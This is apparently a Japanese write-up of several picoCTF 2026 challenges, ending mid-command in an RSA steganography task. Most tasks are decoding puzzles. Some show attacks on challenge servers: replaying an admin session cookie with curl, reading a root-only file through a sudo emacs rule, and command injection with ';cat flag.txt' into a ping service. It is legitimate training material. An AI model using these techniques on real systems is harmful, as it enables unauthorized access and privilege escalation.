picoCTF Challenge Library (picoCTF 2026) のwriteup。
長らく中断していたが、心機一転、再開。
解けた問題から順次WriteUpを追加していく予定。
Easy
Undo
文字列をこねくり回してフラグを復号する問題。
base64 -d + rev + sed s/-/_/g + sed s/\(/\{/g + sed s/\)/\}/g + ROT13 でフラグを復号できた。
└─$ echo -n KTJxNW85NjQ1LWZhMDFnQHplMHNmYTRlRy1nazNnLXRhMWZlcmlyRShTR1BicHZj | base64 -d
)2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
└─$ echo -n ")2q5o9645-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc" | rev
cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2)
└─$ echo -n "cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-5469o5q2)" | sed s/-/_/g
cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)
└─$ echo -n "cvpbPGS(Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2)" | sed s/\(/\{/g | sed s/\)/\}/g
cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}
└─$ echo -n "cvpbPGS{Eriref1at_g3kg_Ge4afs0ez@g10af_5469o5q2}" | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'
picoCTF{Revers1ng_t3xt_Tr4nsf0rm@t10ns_<REDACTED>}
Old Sessions
セッション管理の不備を突いて、管理者としてWebサイトにアクセスしてフラグを取得する問題。
Webサイト (http://dolphin-cove.picoctf.net:50257/) にアクセスして、Registerからユーザー登録を行い、ログインすると以下のページが現れた。

コメント欄よりAdminのコメントが確認できる。またmary_jones_8992が/sessionsという妙なページを見つけたとコメントしているので、アクセスしてみると以下のページが現れた。

Adminのセッション情報を発見。
このWebサイトはセッションの有効期限を異常に長く設定しているため、他のユーザーのセッションの値が分かれば認証無しで、そのユーザーとしてサイトにアクセス出来てしまう。
以下はユーザー登録の際にサーバーから付与されたクッキーの情報である。セッションが2057年12月11日まで有効であることが伺える。
Set-Cookie: session=EQtRyX7_Oi99413gJbjuy29a86ZBHLUQU6AHmbU3t6o; Expires=Tue, 11 Dec 2057 15:50:07 GMT; HttpOnly; Path=/
Adminのセッション情報をクッキーに乗せてWebサイトにリクエストを送ったところ、Adminとしてサイトにアクセスできて、フラグを取得できた。
└─$ curl -i http://dolphin-cove.picoctf.net:50257 -H "Cookie: session=OUCUc_6sa9PQ4abx_PSx2Plt8ZBu6V-igX7B9MDATwQ" | grep -i pico
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2083 100 2083 0 0 4309 0 --:--:-- --:--:-- --:--:-- 4321
<p class="flag-message">picoCTF{s3t_s3ss10n_3xp1rat10n5_<REDACTED>}</p>
SUDO MAKE ME A SANDWICH
sudo権限を悪用して本来は読み取り権のないファイルからフラグを読み出す問題。
サーバーにはflag.txtというファイルがあるが、rootユーザーのみ読み取り可能。
ctf-player@challenge:~$ ls -lha
total 16K
drwxr-xr-x 1 ctf-player ctf-player 20 Apr 4 14:16 .
drwxr-xr-x 1 root root 24 Mar 9 21:32 ..
-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc
drwx------ 2 ctf-player ctf-player 34 Apr 4 14:16 .cache
-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile
-r--r----- 1 root root 31 Mar 9 21:32 flag.txt
ctf-player@challenge:~$ cat flag.txt
cat: flag.txt: Permission denied
catをsudoつきで実行しようとしたが権限がないため失敗。
ctf-player@challenge:~$ sudo cat flag.txt
[sudo] password for ctf-player:
Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.
sudo -lでカレントユーザーがsudoつきで実行できるコマンドを確認。
ctf-player@challenge:~$ sudo -l
Matching Defaults entries for ctf-player on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ctf-player may run the following commands on challenge:
(ALL) NOPASSWD: /bin/emacs
emacsをsudoつきで実行できる模様。
sudo emacs flag.txtでファイルを読み出せた。
picoCTF{ju57_5ud0_17_<REDACTED>}
Binary Digits
エンコードされたファイルをデコードしてフラグを取得する問題。
以下は渡されたファイルの中身。
└─$ cat digits.bin
11111111110110001111111111100000000000000001000001001010010001100100100101000110000000000000000100000001000000000000000000000001000000000000000100000000000000001111111111011011000000000100001100000000000010000000011000000110000001110000011000000101000010000000011100000111000001110 ---<snipped>---
大量の2進数で埋め尽くされていた。
CyberChefで2進数デコードしたところ、フラグが記載されたJPEGの画像ファイルが現れた。

Printer Shares
サーバーの共有フォルダからフラグを取得する問題。
標的サーバーの52028番ポートにてプリンターサービスが実行されているとのことだったので、smbclientでスキャンしたところ、sharesという名前の共有フォルダを発見。
└─$ smbclient -L $RHOST -p 52028
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
shares Disk Public Share With Guests
IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu)
そのまま共有フォルダsharesにアクセスしてflag.txtをダウンロードし、フラグを取得。
└─$ smbclient //$RHOST/shares -p 52028
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
mkfifo more mput newer notify
open posix posix_encrypt posix_open posix_mkdir
posix_rmdir posix_unlink posix_whoami print prompt
put pwd q queue quit
readlink rd recurse reget rename
reput rm rmdir showacls setea
setmode scopy stat symlink tar
tarmode timeout translate unlock volume
vuid wdel logon listconnect showconnect
tcon tdis tid utimes logoff
.. !
smb: \> ls
. D 0 Fri Mar 6 15:25:45 2026
.. D 0 Fri Mar 6 15:25:45 2026
dummy.txt N 1142 Wed Feb 4 16:22:17 2026
flag.txt N 37 Fri Mar 6 15:25:45 2026
65536 blocks of size 1024. 60000 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 37 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
└─$ cat flag.txt
picoCTF{5mb_pr1nter_5h4re5_<REDACTED>}
Piece by Piece
分割されたZIPファイルからフラグを取得する問題。
サーバーに接続すると、part_a* という複数のファイルを発見。
ctf-player@pico-chall$ ls -lh
total 24K
-rw-r--r-- 1 ctf-player ctf-player 282 Feb 4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player 35 Feb 4 22:40 part_ae
これらのファイルは分割されたZIPファイルで、フラグを取得するにはこれらのファイルを一つのZIPファイルに統合して、解凍する必要がある。
以下のコマンドでファイルを一つのZIPファイルに統合した。
cat part_a* > combined.zip
ctf-player@pico-chall$ ls -lh
total 28K
-rw-rw-r-- 1 ctf-player ctf-player 239 Apr 5 13:29 combined.zip
-rw-r--r-- 1 ctf-player ctf-player 282 Feb 4 21:22 instructions.txt
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_aa
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ab
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ac
-rw-r--r-- 1 ctf-player ctf-player 51 Feb 4 22:40 part_ad
-rw-r--r-- 1 ctf-player ctf-player 35 Feb 4 22:40 part_ae
ctf-player@pico-chall$ file combined.zip
combined.zip: Zip archive data, at least v1.0 to extract
統合したZIPファイルの中にflag.txtというファイルを発見。
ctf-player@pico-chall$ unzip -Z combined.zip
Archive: combined.zip
Zip file size: 239 bytes, number of entries: 1
-rw-r--r-- 3.0 unx 45 TX stor 26-Feb-04 22:40 flag.txt
ファイルを解凍してフラグを取得できた。(解凍のためのパスワードはinstructions.txtに記載されていた)
ctf-player@pico-chall$ unzip combined.zip
Archive: combined.zip
[combined.zip] flag.txt password:
extracting: flag.txt
ctf-player@pico-chall$ cat flag.txt
picoCTF{z1p_and_spl1t_f1l3s_4r3_fun_<REDACTED>}
bytemancy 0
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
while(True):
try:
print('⊹──────[ BYTEMANCY-0 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
user_input = input('==> ')
if user_input == "\x65\x65\x65":
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
サーバーに接続してeeeと入力するとflag.txtからフラグが読み出される。(chr(101)もしくは0x65はeにデコードされる)
└─$ nc candy-mountain.picoctf.net 49611
⊹──────[ BYTEMANCY-0 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eee
picoCTF{pr1n74813_ch4r5_<REDACTED>}
bytemancy 1
ソースコードを解析してフラグを取得する問題。
以下は渡されたapp.pyというファイルの内容。
while(True):
try:
print('⊹──────[ BYTEMANCY-1 ]──────⊹')
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print()
print('Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.')
print()
print("☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐")
print('⊹─────────────⟡─────────────⊹')
user_input = input('==> ')
if user_input == "\x65"*1751:
print(open("./flag.txt", "r").read())
break
else:
print("That wasn't it. I got: " + str(user_input))
print()
print()
print()
except Exception as e:
print(e)
break
eを1751文字分入力するとflag.txtからフラグが読み出される。
手動で入力するのは大変なので、Pythonのターミナルを起動して、以下のコマンドでeを1751文字分 生成してコピペした。
>>> chr(101)*1751
'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'
└─$ nc foggy-cliff.picoctf.net 62726
⊹──────[ BYTEMANCY-1 ]──────⊹
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
Send me ASCII DECIMAL 101 1751 times, side-by-side, no space.
☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐☉⟊☽☈⟁⧋⟡☍⟐
⊹─────────────⟡─────────────⊹
==> eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
picoCTF{h0w_m4ny_e's???_<REDACTED>}
MultiCode
以下のエンコードされたフラグを復号する問題。
└─$ cat message.txt
NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ=
Base64デコード + Hexデコード + URLデコード + ROT13でフラグを復号できた。
└─$ echo -n NjM3NjcwNjI1MDQ3NTMyNTM3NDI2MTcyNjY2NzcyNzE1ZjcyNjE3MDMwNzE3NjYxNzQ1ZjMwNzAzMjMxMzkzMjcxMzcyNTM3NDQ= | base64 -d | xxd -r -p
cvpbPGS%7Barfgrq_rap0qvat_0p2192q7%7D

ping-cmd
コマンドインジェクションの脆弱性を突いてフラグを取得する問題。
標的サーバー上ではユーザーが入力したIPアドレスに対してpingを送るプログラムが起動していた。
└─$ nc mysterious-sea.picoctf.net 65295
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=10.6 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=10.8 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 10.580/10.694/10.808/0.114 ms
色々と入力値をいじっているうち、コマンドインジェクションの脆弱性があることが分かった。以下はプログラムに対して-c 20 8.8.8.8と入力した際の様子。
└─$ nc mysterious-sea.picoctf.net 63577
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): -c 20 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=111 time=9.47 ms
64 bytes from 8.8.8.8: icmp_seq=5 ttl=111 time=9.61 ms
64 bytes from 8.8.8.8: icmp_seq=6 ttl=111 time=9.49 ms
64 bytes from 8.8.8.8: icmp_seq=7 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=8 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=9 ttl=111 time=9.53 ms
64 bytes from 8.8.8.8: icmp_seq=10 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=11 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=12 ttl=111 time=9.58 ms
64 bytes from 8.8.8.8: icmp_seq=13 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=14 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=15 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=16 ttl=111 time=9.52 ms
64 bytes from 8.8.8.8: icmp_seq=17 ttl=111 time=9.54 ms
64 bytes from 8.8.8.8: icmp_seq=18 ttl=111 time=9.48 ms
64 bytes from 8.8.8.8: icmp_seq=19 ttl=111 time=9.55 ms
64 bytes from 8.8.8.8: icmp_seq=20 ttl=111 time=9.50 ms
pingの-cオプションは任意の数のICMPパケットを指定するためのオプションである。-c 20が評価されて、20個のICMPパケットが送られていることが確認できた。
さらに入力値をいじったところ、先頭に; (セミコロン)をつけることで任意のOSコマンドを実行できることが分かった。以下はプログラムに対して;lsと入力した際の様子。
└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;ls
flag.txt
script.sh
lsコマンドが評価され、flag.txtとscript.shというファイルの存在を確認できた。
プログラムに;cat flag.txtと入力することでフラグを読み出せた。
└─$ nc mysterious-sea.picoctf.net 50910
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat flag.txt
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_<REDACTED>}
ちなみに以下はscript.shの中身。
└─$ nc mysterious-sea.picoctf.net 63214
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): ;cat script.sh
#!/bin/bash
echo -n "Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): "
read domain
bash -c "ping -c2 $domain"
readコマンドで受け取った値をpingコマンドに渡すシンプルなスクリプトだが、bash -cを介してpingコマンドを実行するため、$domainに格納された値がOSコマンドとして評価されてしまう。
bash -c "ping -c2 $domain"ではなく、ping -c2 $domainと記述すれば、インジェクションは起きない。
StegoRSA
画像ファイルからRSAの秘密鍵を探し出して、フラグを復号する問題。
flag.encとimage.jpgという2つのファイルを渡された。
flag.encは暗号化されたファイルで、image.jpgはJPEGの画像ファイルだった。
└─$ file flag.enc
flag.enc: data
└─$ xxd flag.enc
00000000: a363 dd93 ee17 7e99 6776 e900 ab16 edcf .c....~.gv......
00000010: 39d3 b681 ed5d 80da 8243 edf0 d1b4 2302 9....]...C....#.
00000020: 00eb 3e61 bce4 c2f6 0bd5 3a34 5d9c 14cd ..>a......:4]...
00000030: 7e8e f812 6024 239f d22f fa3f 9fed 29da ~...`$#../.?..).
00000040: 71f0 c146 fd37 6676 07a7 4557 c96c fde7 q..F.7fv..EW.l..
00000050: ea50 d893 3a8b 2e25 1061 3063 efe5 b415 .P..:..%.a0c....
00000060: ccc0 f0ce fc7a 64df 31ab ac71 7887 ef15 .....zd.1..qx...
00000070: dff4 b22e ffb4 0c0a cbbc 069b b8c2 c725 ...............%
00000080: 515f 41ca ad6f adc7 1446 b92b 8d6c eefc Q_A..o...F.+.l..
00000090: 2482 e2c6 6dd6 c986 47ad ce3e f5ab bc04 $...m...G..>....
000000a0: 90cb 4879 1271 856d 87dd 7110 ba8d 9e45 ..Hy.q.m..q....E
000000b0: 0460 6d82 1e2e 737b 8b01 7959 cebf 562c .`m...s{..yY..V,
000000c0: 503c 47a2 3037 55de 5ddb ed5c b895 0bfb P<G.07U.]..\....
000000d0: 50b9 7ae1 6ca8 dac3 92f7 f419 e201 9e2d P.z.l..........-
000000e0: 6efd b190 444c da8b db0c f10b 23a5 d318 n...DL......#...
000000f0: 7c08 cfa0 0349 e65e 77a8 4dbf 40b0 0984 |....I.^w.M.@...
└─$ file image.jpg
image.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63", baseline, precision 8, 512x512, components 3
image.jpgをexiftoolで調べたところ、コメント欄に膨大なHexエンコードされたデータを発見。
└─$ exiftool image.jpg
ExifTool Version Number : 12.76
File Name : image.jpg
Directory : .
File Size : 21 kB
File Modification Date/Time : 2026:04:09 09:48:50-04:00
File Access Date/Time : 2026:04:09 09:49:13-04:00
File Inode Change Date/Time : 2026:04:09 09:48:53-04:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d363655793369706c455379324e737830516e6b2b4c6d6f674551635268585371303048674f65424d4f0a5a3056485a504c4841674d4241414543676745414347336449592f2f50634f724674523670676f64435144557834582b57692b6757494a3153635456754c53490a342b5a356c6d664c676931346e636a786356564f4635366c3331776965702b6653677865433668544245516e774c595945514a516b4946752b664650386661300a55782f466e337a54634b4c4b4674447a587877643332705736633833425173587539754d57796f37554a4a2b7a64554d4c735048333753627457507a525550330a43426854527245376670654b75437074435655697136316c58666d4e58346b427759634179433477734132376b576c6e747a644c456e70786e566141664f74310a6a762f78786366327839556130793033342f57694c4a30394a566951446d6d36794442734a67674f6c4b4b562f4430614c656c764f70484d746b3178584f33660a724c574a693534577252424a4a4d426b305233584945575361475363785156504476455065484e3651514b42675143314554733066346a785058444d723970670a694e7338716b3755714d784b4543554b6d5a356f73336e6534455530364d69662b6c4e524e4e5a6d4e784f6e46544b4638363042794c5650305051565a3758660a4937712f6f7263324f6c46515330503937326a30574a527a4732504353552b644b48777768674b6c5a386b31684138564f493457573664626f34695a65684a700a55335a717430674f766633395238373547637276634e754e35774b426751443145613137562b66732f7a496c56744a35524b676e70317476766b6b58556735440a54675a624662716d4d576f4e6a6372764c4938365471373030414c6a42674861556b59376e397a52673834574e42574972564a6c687566724b6847436b7170620a4b737969564f51644569376f4c706358497846416f56373970564f7633783775626e4653693146662b6d48446575427535555a6b42486c4e535936437257364a0a676a64706a71595949514b426746684d787571624a3155392b547859706335643730787559584d6a766a79414578425153676756506d474b545457344c3936550a5850314648796c4a7772504169707234636d356b5373645a7879364a4852427368433367564369463242476f49736737634a74346479794c4e754d516a56712b0a32354675534f7751365062494a2f4c5a576246646b516748674234596764494c656277684657726244486e7741756448784d647636694952416f47414c636b440a744575554650384969316c524d543757653749557279664a324157496a4b4b444a586c46796337706c5761735230723335316a543777443979525253504575710a7533442b66465933706f5a4d6a36427943473350336d755a6f64397333474e2b6e38566b614e6f4130586743326c752b3257684d71753638563974446d4341690a4939334c636a6342464e68634864765037746533496531674a71486f534f422f49635634326f4543675945416a3744674f744c734e65444a4f5a6856774730480a677a5067634332655932513575675735764f62747245584a7245796f313838453174457544654c6e4f4a5a556273444b6447635254526a4541617a66436866450a5847307844473954537639737133687a394976455348345470386363666f4b382b756c71544343767a3567366c39304232714f7046372f364a3844754d4e786e0a4e2f4f77424e6f4e507a4d6c6132434a6d6243736247633d0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a
Image Width : 512
Image Height : 512
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 512x512
Megapixels : 0.262
Hexデータをデコードしたところ、RSAの秘密鍵が現れた。
└─$ echo -n 2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f494241514374566636434477465972456e480a6b34522f384e4d47305362386d366d5655793479314c4158386e62596c4a49366c6c52703067766931775262736f44646d5a34386f434642643236726c6330310a4558413378724e2f46773467634954797874714e736771327232783264414f755a57364d784931393438694c4445345641522b48325538694a695171357a33590a3531746a61532b4a6c572f7276752f573372644462726b5358676a752f776d6d4d4e6d4952367a376b7a6e356c2f747771336d584a786b4f5a5a4c7a733742740a687a72446c482f4a67556857723067786652327764767751667436514a383269586164717a483443355a4556564f333530614a557461375150616f34522b31310a5a576a746c6e356d737351554541614d36446a5962454d3636557